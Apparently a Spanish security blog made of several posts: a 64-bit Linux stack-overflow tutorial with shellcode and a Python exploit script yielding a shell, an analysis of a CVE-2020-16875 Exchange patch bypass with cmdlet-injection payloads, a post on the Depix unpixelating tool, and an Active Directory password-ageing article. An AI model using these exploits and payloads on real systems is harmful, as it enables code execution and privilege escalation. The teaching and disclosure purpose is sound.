Voy a retomar los ejercicios de
exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:
- Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI.
- El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente.
- Se han proporcionado registros adicionales: R8 a R15.
- Los punteros tienen un ancho de 8 bytes.
- Push/pop en la pila tienen 8 bytes.
- El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF.
- Los parámetros de las funciones se pasan a través de registros.
Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
puts("No shell!");
return 0;
}
int main(int argc, char *argv[]) {
vuln();
return 0;
}
Lo compilamos sin las protecciones correspondientes:
$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64
Le ponemos el SUID para obtener posteriormente una root shell:
$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64
Y no olvidemos desactivar temporalmente ASLR para el ejercicio:
echo 0 > /proc/sys/kernel/randomize_va_space
Probamos la ejecución normal del programa:
$ ./ejercicio1x64
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAa
Ya tenemos el binario así que vamos manos a la obra :-P
Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.
Para crear rápidamente un fichero con esas 400 "A"s:
$ python3 -c 'print "A"*400' > in.txt
Y lo pasamos en la ejecución con el debugger:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A' ...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('A' , "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718 : push rbp
0x555555554719 : mov rbp,rsp
0x55555555471c : sub rsp,0x10
0x555555554720 : mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ('A' ...)
0008| 0x7fffffffd960 ('A' ...)
0016| 0x7fffffffd968 ('A' ...)
0024| 0x7fffffffd970 ('A' ...)
0032| 0x7fffffffd978 ('A' ...)
0040| 0x7fffffffd980 ('A' ...)
0048| 0x7fffffffd988 ('A' ...)
0056| 0x7fffffffd990 ('A' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()
Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto.
Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción.
Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.
Podemos usar un patrón cíclico para encontrar este desplazamiento:
gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Ahora lo volvemos a ejecutar con ese patrón:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718 : push rbp
0x555555554719 : mov rbp,rsp
0x55555555471c : sub rsp,0x10
0x555555554720 : mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()
Como veis se puede observar el patrón en el stack.
Nos centramos en el contenido del stack pointer:
gdb-peda$ x/wx $rsp
0x7fffffffd958: 0x41413741
Y encontramos su offset:
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
Entonces, en RIP está en el offset 104 así que actualizamos nuestro payload y vemos si podemos sobrescribir RIP esta vez:
python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)' > in.txt
Como veis
packeamos en little-endian el valor del RIP (unsigned long long) y luego añadimos padding para llegar a los 400 bytes.
Pasamos nuestro payload a la función:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C' ...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('C' , "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C' ...)
0008| 0x7fffffffd968 ('C' ...)
0016| 0x7fffffffd970 ('C' ...)
0024| 0x7fffffffd978 ('C' ...)
0032| 0x7fffffffd980 ('C' ...)
0040| 0x7fffffffd988 ('C' ...)
0048| 0x7fffffffd990 ('C' ...)
0056| 0x7fffffffd998 ('C' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
Y voilà! ya tenemos controlado el RIP.
Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.
Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179.
Para ello almacenamos el shellcode en la pila a través de una variable de entorno:
$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')
Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.
A continuación encontramos su dirección usando getenvaddr:
$ ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445
Así que con eso ya podemos completar el payload final de nuestro exploit:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)
f = open("in.txt", "w")
f.write(buf)
Por último generamos el fichero in.txt y se lo "enchufamos" a nuestra función vulnerable:
$ (cat in.txt ; cat) | ./ejercicio1x64
Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r
Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.
Fuentes:
En septiembre de 2020 se publicó un parche para
CVE-2020-16875 que afecta a
Microsoft Exchange 2016 y 2019. La vulnerabilidad permite
ejecución remota de código (RCE) a través de los cmdlets proporcionados por el endpoint HTTPS /ecp/DLPPolicy de un servidor Exchange.
La vulnerabilidad y la investigación originales fueron reportadas por
Steven Seeley de Source Incite (@steventseeley):https://srcincite.io/advisories/src-2020-0019/ (Aviso)
https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC)
Para solucionar dicha vulnerabilidad se publicó el siguiente parche que filtraba los cmdlets correspondientes:
https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016Pero, como ya ha pasado otra veces, el análisis del parche condujo al bypass del mismo, y buena cuenta de ello dio el equipo de
X41 D-Sec, que volvieron a conseguir inyectar cmdlets en un servidor remoto Exchange. Eso sí, recordar que se requiere un
usuario válido con permisos para administrar las políticas de DLP.El código del parche que previene la explotación es el siguiente:
internal static void ValidateCmdletParameters(string cmdlet,
IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
if (string.IsNullOrWhiteSpace(cmdlet))
{
return;
}
Collection<PSParseError> collection2;
Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
out collection2);
if (collection2 != null && collection2.Count > 0)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
}
if (collection != null)
{
// #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
// RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
if ((from token in collection
where token.Type == PSTokenType.Command
select token).ToList<PSToken>().Count > 1)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
}
}
bool flag = false;
foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
{
// #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
if (cmdlet.StartsWith(keyValuePair.Key,
StringComparison.InvariantCultureIgnoreCase))
{
// #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
// REGEX
if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
RegexOptions.IgnoreCase))
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMissingRequiredParameter(cmdlet,
keyValuePair.Value));
}
flag = true;
}
}
if (!flag)
{
throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
cmdlet));
}
}
Se intenta validar el cmdlet con dos objetivos principales:
1. Evitar varios tokens de comandos de Powershell por cmdlet.
2. Permitir sólo comandos incluidos en la lista blanca con ciertos parámetros.
Para ello, se introdujeron tres controles para filtrar intentos de explotación pero desafortunadamente, estos controles no son suficientes...
Bypass Check #1El primer check del parche es analizar y tokenizar la cadena de cmdlet y comprobar si hay presente más de un token de tipo PSTokenType.Command. Esto bloquea el payload que tiene varios comandos como por ejemplo:
New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;
$i.FileName="cmd";$i.Arguments="/c %s";
$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()
También se evitan los tokens de comando dentro de las declaraciones `$()` como la siguiente:
new-transportrule -Name $(Diagnostics.Process.Start(....))
Sin embargo, las llamadas directas a .NET a través de la sintaxis de corchetes siguen siendo posible, ya que PSParser no los considera como tokens de "Comando":
new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))
Así que con el comando anterior se consigue bypassear el primer check.
Bypass Check #2La segunda comprobación se puede omitir fácilmente porque la verificación se realiza en el string en raw del cmdlet y solo usa la función `.StartsWith ()` para comprobar el comienzo del cmdlet. Para bypassearlo solo suministramos una string de comando que esté contenida en las claves válidas dadas a través de requiredParameters:
new-transportruleSOMETHINGELSE....
Bypass Check #3
El tercer check está aplicando una expresión regular al cmdlet para asegurarse de que solo se proporcionan parámetros y valores válidos. Desafortunadamente la expresión regular se queda corta en al menos dos formas:
1. Por defecto, Regex.IsMatch() no matchea varias líneas.
2. La expresión regular aplicada no coincide desde el principio hasta el final del string del cmdlet, pero en su lugar también matchea con subcadenas.
Para omitir la verificación, el cmdlet de Powershell solo necesita contener uno de los parámetros esperados como por ejemplo `DlpPolicy`.
PoC
El siguiente payload puede omitir las tres comprobaciones mencionadas anteriormente:
<![CDATA[ new-transportrule
-Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
-DlpPolicy "%%DlpPolicyName%%"
]]>
Al final, el impacto es idéntico a la vulnerabilidad anterior presente en las instalaciones de Exchange sin parchear.
Versiones afectadas- Microsoft Exchange Server 2016 Cumulative Update 16
- Microsoft Exchange Server 2016 Cumulative Update 17
- Microsoft Exchange Server 2019 Cumulative Update 5
- Microsoft Exchange Server 2019 Cumulative Update 6
ContramedidasEl parche se publicó durante el Patch Tuesday de diciembre. En cualquier caso, es recomendable crear un interfaz más estricto para el acceso a la API del DLP de Exchange. El uso de cmdlets es intrínsecamente peligroso debido a la complejidad del lenguaje de scripting de Powershell. En su lugar, se recomienda una interfaz dedicado que solo acepte parámetros individuales incluidos en lista blanca.
Fuentes:
-
https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/-
https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016-
https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-16875-
https://media.cert.europa.eu/static/SecurityAdvisories/2020/CERT-EU-SA2020-044.pdf-
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16875
Capturar pantallas con Greenshot, Shutter u otras herramientas y pixelar texto sensible suele estar a la orden del día. No es difícil encontrar en informes o incluso en posts en Internet pantallazos con esta información "ofuscada", incluso contraseñas. ¿Y si hubiera una herramienta que pudiera "despixelar" y descubrir ese texto en claro?
Lo habéis adivinado, Sipke Mellema ha diseñado un algoritmo y publicado una herramienta en Github para ver en claro el texto pixelado. Básicamente este algoritmo se parece bastante en su base a otros que despixelan imágenes: la técnica consiste en pixelar caracteres similares y verificar si coinciden. En su imagen de ejemplo podemos encontrar la fuente de notepad de Windows:
Esa captura de pantalla se usa como una imagen de búsqueda para bloques similares. Como veis se trata de una secuencia De Bruijn de los caracteres esperados, con combinaciones de 2 caracteres porque algunos bloques pueden superponerse. Encontrar coincidencias adecuadas requiere que exista el bloque exacto de la misma configuración de píxeles en la imagen de búsqueda. Cuando nos encontramos más letras consecutivas los bloques de múltiples coincidencias circundantes se comparan luego para que estén a la misma distancia geométrica que en la imagen pixelada. Estas coincidencias se tratan también como correctas.
Una vez que los bloques correctos no tengan más coincidencias geométricas, generará todos los bloques correctos directamente. Para bloques de múltiples coincidencias, genera el promedio de todas las coincidencias.
Su salida no es ni de lejos perfecta, pero funciona bastante bien. Veamos el uso de la herramienta y sus resultados. Partiendo de la siguiente imagen pixelada:
Ejecutamos la herramienta con la imagen de búsqueda de la secuencia De Brujin con caracteres del Bloc de notas de Windows 10 (incluida en el repo de la herramienta):
$ python3 depix.py -p images/testimages/testimage3_pixels.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o output.png
INFO:root:Loading pixelated image from images/testimages/testimage3_pixels.png
INFO:root:Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
INFO:root:Finding color rectangles from pixelated space
INFO:root:Found 116 same color rectangles
INFO:root:86 rectangles left after moot filter
INFO:root:Found 1 different rectangle sizes
INFO:root:Finding matches in search image
INFO:root:Removing blocks with no matches
INFO:root:Splitting single matches and multiple matches
INFO:root:[10 straight matches | 76 multiple matches]
INFO:root:Trying geometrical matches on single-match squares
INFO:root:[15 straight matches | 71 multiple matches]
INFO:root:Trying another pass on geometrical matches
INFO:root:[17 straight matches | 69 multiple matches]
INFO:root:Writing single match results to output
INFO:root:Writing average results for multiple matches to output
INFO:root:Saving output image to: output.png
Y como veis el resultado es sorprendente, se puede leer perfectamente el texto en claro:
¿A qué ahora te pensarás dos veces pixelar texto en lugar de por ejemplo tacharlo completamente o superponer un rectángulo? ;)
Github: https://github.com/beurtschipper/Depix
Una de las muchas características de una política de contraseñas de Active Directory es la antigüedad máxima de la contraseña . Los entornos tradicionales de Active Directory han utilizado durante mucho tiempo el envejecimiento de las contraseñas como un medio para reforzar la seguridad de las contraseñas. La antigüedad de la contraseña nativa en la Política de contraseñas de Active Directory predeterminada es relativamente limitada en los parámetros de configuración.
Echemos un vistazo a algunas de las mejores prácticas que han cambiado con respecto al envejecimiento de las contraseñas. ¿Qué controles puede aplicar con respecto a la caducidad de las contraseñas utilizando la Política de contraseñas de Active Directory predeterminada? ¿Existen mejores herramientas que las organizaciones pueden utilizar para controlar la antigüedad máxima de la contraseña para las cuentas de usuario de Active Directory?
¿Qué mejores prácticas de envejecimiento de contraseñas han cambiado?
El envejecimiento de la contraseña para las cuentas de usuario de Active Directory ha sido durante mucho tiempo un tema controvertido en las mejores prácticas de seguridad.
Si bien muchas organizaciones aún aplican reglas de caducidad de contraseñas más tradicionales, organizaciones de seguridad destacadas han proporcionado una guía actualizada de caducidad de contraseñas. Microsoft ha dicho que están eliminando las políticas de caducidad de contraseñas de la línea de base de seguridad para Windows 10 v1903 y Windows Server v1903 . El Instituto Nacional de Estándares y Tecnología (NIST) ha ofrecido durante mucho tiempo un marco de ciberseguridad y recomendaciones de mejores prácticas de seguridad.
Como se actualizó en SP 800-63B Sección 5.1.1.2 de las Pautas de identidad digital: Autenticación y administración del ciclo de vida , tenga en cuenta la siguiente guía:
"Los verificadores NO DEBEN requerir que los secretos memorizados se cambien arbitrariamente (por ejemplo, periódicamente). Sin embargo, los verificadores DEBERÁN forzar un cambio si hay evidencia de compromiso del autenticador". NIST ayuda a explicar el cambio de orientación en su página de preguntas frecuentes que cubre las Pautas de identidad digital.
Afirma: "Los usuarios tienden a elegir secretos memorizados más débiles cuando saben que tendrán que cambiarlos en el futuro cercano. Cuando esos cambios ocurren, a menudo seleccionan un secreto que es similar a su antiguo secreto memorizado aplicando un conjunto de transformaciones comunes como como aumentar un número en la contraseña. Esta práctica proporciona una falsa sensación de seguridad si alguno de los secretos anteriores se ha visto comprometido, ya que los atacantes pueden aplicar estas mismas transformaciones comunes. Pero si hay evidencia de que el secreto memorizado se ha visto comprometido, como por una violación de la base de datos de contraseñas hash del verificador o una actividad fraudulenta observada, se debe exigir a los suscriptores que cambien sus secretos memorizados. Sin embargo, este cambio basado en eventos debe ocurrir raramente,para que estén menos motivados a elegir un secreto débil sabiendo que solo se utilizará durante un período de tiempo limitado ".
Con la nueva guía de las organizaciones mencionadas y muchas otras, los expertos en seguridad reconocen que el envejecimiento de las contraseñas, al menos en sí mismo, no es necesariamente una buena estrategia para prevenir el compromiso de las contraseñas en el entorno.
Los cambios recientes en la guía de caducidad de contraseñas también se aplican a las políticas de contraseñas tradicionales de Microsoft Active Directory.
Antigüedad de la contraseña de la política de contraseñas de Active Directory
Las capacidades de las políticas de cambio de contraseña en las políticas de contraseña de Active Directory predeterminadas son limitadas. Puede configurar la antigüedad máxima de la contraseña, y eso es todo. De forma predeterminada, Active Directory incluye la siguiente configuración de política de contraseñas:
-
Hacer cumplir el historial de contraseñas
-
Antigüedad máxima de la contraseña
-
Antigüedad mínima de la contraseña
-
Longitud mínima de la contraseña
-
Auditoría de longitud mínima de contraseña
-
La clave debe cumplir los requerimientos de complejidad
-
Almacene las contraseñas mediante cifrado reversible
Cuando hace doble clic en la antigüedad máxima de la contraseña, puede configurar el número máximo de días que un usuario puede usar la misma contraseña.
Cuando observe la explicación dada para la antigüedad de la contraseña, verá lo siguiente en la configuración de la Política de grupo:
"Esta configuración de seguridad determina el período de tiempo (en días) que se puede usar una contraseña antes de que el sistema requiera que el usuario la cambie. Puede configurar las contraseñas para que caduquen después de varios días entre 1 y 999, o puede especificar que las contraseñas nunca caducan estableciendo el número de días en 0. Si la antigüedad máxima de la contraseña está entre 1 y 999 días, la antigüedad mínima de la contraseña debe ser menor que la antigüedad máxima de la contraseña. Si la vigencia máxima de la contraseña se establece en 0, la contraseña mínima la edad puede ser cualquier valor entre 0 y 998 días ".
Con la configuración de política predeterminada, realmente puede activar o desactivar la política y luego establecer el número de días antes de que expire la contraseña de usuario. ¿Qué pasaría si tuviera más opciones para controlar la antigüedad máxima de la contraseña y establecer diferentes valores según la complejidad de la contraseña?
Política de contraseña basada en longitud de Specops
Como se mencionó, la guía reciente de muchas autoridades de mejores prácticas de ciberseguridad recomienda no realizar cambios forzosos de contraseña y detalla las razones de este cambio. Sin embargo, muchas organizaciones aún pueden aprovechar el envejecimiento de las contraseñas como parte de su estrategia general de seguridad de contraseñas para protegerse contra las contraseñas de los usuarios que caen en las manos equivocadas. ¿Qué pasaría si los administradores de TI tuvieran funciones además de las que proporciona Active Directory?
La política de contraseñas de Specops proporciona muchas características adicionales en comparación con la configuración predeterminada de la política de contraseñas de Active Directory, incluida la caducidad de la contraseña. Una de las opciones contenidas en la Política de contraseñas de Specops se llama "Antigüedad de contraseña basada en longitud.
Con esta configuración, las organizaciones pueden definir diferentes "niveles" de caducidad de la contraseña según la longitud de la contraseña del usuario. Permite mucha más granularidad en la forma en que las organizaciones configuran la caducidad de la contraseña en un entorno de Active Directory en comparación con el uso de la configuración predeterminada de la política de contraseñas de Active Directory.
También permite apuntar a las contraseñas más débiles del entorno y obligarlas a envejecer más rápido. Lo notarás en la captura de pantalla. La antigüedad de la contraseña basada en la longitud en la Política de contraseñas de Specops es altamente configurable.
Incluye las siguientes configuraciones:
Número de niveles de caducidad : ingrese cuántos niveles de caducidad habrá. Un nivel de caducidad determina cuántos días adicionales tendrá el usuario hasta que caduque su contraseña y se le solicite que la cambie. Esto depende de la longitud de la contraseña del usuario. Para aumentar el número de niveles, mueva el control deslizante hacia la derecha. El número máximo de niveles de caducidad que pueden existir es 5.
Caracteres por nivel : la cantidad de caracteres adicionales por nivel que definen los días adicionales en la caducidad de la contraseña.
Días adicionales por nivel : cuántos días de vencimiento adicionales vale cada nivel.
Desactivar la caducidad para el último nivel : las contraseñas que cumplen con los requisitos para el nivel de caducidad final en la lista no caducarán.
Specops permite notificar fácilmente a los usuarios finales cuando su contraseña está a punto de caducar. Informará a los usuarios finales al iniciar sesión o mediante el envío de una notificación por correo electrónico. Puede configurar los días antes del valor de vencimiento para cada una de estas configuraciones.
Las organizaciones definen las configuraciones de longitud de contraseña mínima y máxima en el área Reglas de contraseña de la configuración de la Política de contraseña de Specops. Si cambia la configuración de longitud mínima y máxima de la contraseña, los valores de longitud de la contraseña en cada nivel de la caducidad de la contraseña basada en la longitud también cambiarán.
En combinación con otras características de la política de contraseñas de Specops, como la
protección con contraseña violada , la caducidad de la contraseña basada en la longitud refuerza las políticas de contraseñas empresariales para los trabajadores locales y remotos.
Terminando
El envejecimiento de las contraseñas ha sido durante mucho tiempo una característica de las políticas de contraseñas de Active Directory en la mayoría de los entornos empresariales. Sin embargo, a medida que los atacantes mejoran a la hora de comprometer las contraseñas, la nueva guía de mejores prácticas de seguridad ya no recomienda que las organizaciones utilicen el envejecimiento estándar de las contraseñas.
La política de contraseñas de Specops proporciona capacidades de caducidad de contraseñas atractivas que permiten ampliar las funciones de caducidad de contraseñas en comparación con las políticas de contraseñas de Active Directory predeterminadas. Al agregar niveles de vencimiento, la política de contraseñas de Specops permite apuntar eficazmente a las contraseñas débiles en el entorno al envejecer rápidamente estas contraseñas. Los usuarios finales pueden utilizar contraseñas seguras durante mucho más tiempo.
